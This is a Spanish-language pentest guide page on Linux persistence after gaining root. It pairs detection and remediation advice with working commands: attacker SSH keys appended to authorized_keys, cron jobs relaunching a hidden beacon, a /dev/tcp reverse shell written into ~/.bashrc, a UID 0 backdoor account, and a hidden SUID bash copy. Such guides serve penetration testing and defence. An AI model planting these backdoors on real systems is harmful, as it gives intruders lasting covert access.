Saltearse al contenido

Persistencia en Linux

Tras comprometer un host y escalar a root, la persistencia asegura que mantienes el acceso aunque el sistema se reinicie, cambien contraseñas o te expulsen de una sesión. Linux ofrece muchos mecanismos de arranque automático y ejecución recurrente que un atacante puede secuestrar. En un pentest se documenta (demostrar impacto); en un ataque real es lo que convierte un acceso puntual en un compromiso duradero.

La persistencia reutiliza mecanismos legítimos de ejecución: arranque, tareas programadas, autenticación, servicios. Hay dos grandes familias: a nivel de usuario (sobrevive sesiones) y a nivel de sistema/root (sobrevive reinicios, más potente). El reto para el atacante es el sigilo; para el defensor, detectar lo añadido.

# añadir tu clave pública a authorized_keys -> acceso permanente sin contraseña
echo "ssh-ed25519 AAAA...atacante" >> ~/.ssh/authorized_keys
echo "ssh-ed25519 AAAA...atacante" >> /root/.ssh/authorized_keys
# backdoor en el propio sshd config (AuthorizedKeysFile, PermitRootLogin)

Simple, fiable y poco ruidosa si no se audita authorized_keys.

# cron del usuario o del sistema que relanza tu backdoor/beacon
(crontab -l; echo "* * * * * /tmp/.beacon") | crontab -
echo "* * * * * root /usr/local/bin/update.sh" >> /etc/cron.d/update
# systemd service + timer (más moderno, puede parecer legítimo)
# /etc/systemd/system/updater.service + .timer -> ExecStart=tu payload
# scripts de inicio del sistema
/etc/rc.local, /etc/init.d/, servicios systemd (ExecStart)
# perfiles de shell (se ejecutan al iniciar sesión)
~/.bashrc ~/.bash_profile ~/.profile /etc/profile /etc/bash.bashrc
echo 'bash -i >& /dev/tcp/TU_IP/4444 0>&1 &' >> ~/.bashrc
# crear un usuario con UID 0 (root paralelo)
echo 'backdoor:x:0:0::/root:/bin/bash' >> /etc/passwd # (con hash en shadow)
# añadir usuario normal y meterlo en sudo
useradd -m -s /bin/bash svc ; usermod -aG sudo svc
# PAM backdoor (contraseña maestra) / módulo PAM malicioso -> más sigiloso y potente
# SUID backdoor: copia de bash con SUID escondida
cp /bin/bash /usr/lib/.sysd; chmod +s /usr/lib/.sysd # -> .sysd -p = root
# capabilities en un binario oculto (ver lin-caps)
# LD_PRELOAD / librería maliciosa cargada por servicios
# módulo de kernel (rootkit) -> máximo sigilo, máxima complejidad
# webshell si el host sirve web (en /var/www)
  • Auditar authorized_keys de todos los usuarios (sobre todo root) y la config de sshd; claves gestionadas centralmente.
  • Monitorizar cambios (auditd, FIM) en cron, /etc/cron.*, systemd units, rc.local, perfiles de shell, /etc/passwd/shadow y módulos PAM.
  • Alertar sobre cuentas con UID 0 duplicadas, usuarios nuevos en sudo, binarios SUID nuevos (find -perm -4000 comparado con baseline).
  • Integridad del sistema: paquetes firmados, debsums/rpm -V, detección de rootkits (rkhunter, chkrootkit).
  • Tras un incidente: reconstruir el host (la persistencia sigilosa —PAM, rootkit— es difícil de erradicar con confianza) y rotar credenciales/claves.
  • Clave SSH en authorized_keys (usuario y root)
  • Cron / systemd timer que relanza el acceso
  • rc.local / servicios systemd / perfiles de shell
  • Usuario UID 0 o usuario en sudo
  • SUID backdoor oculto / capabilities
  • PAM backdoor o LD_PRELOAD (sigiloso)
  • Documentar todo lo plantado (para limpieza en el informe)
  • Blue: ¿FIM/auditd detectan cada mecanismo?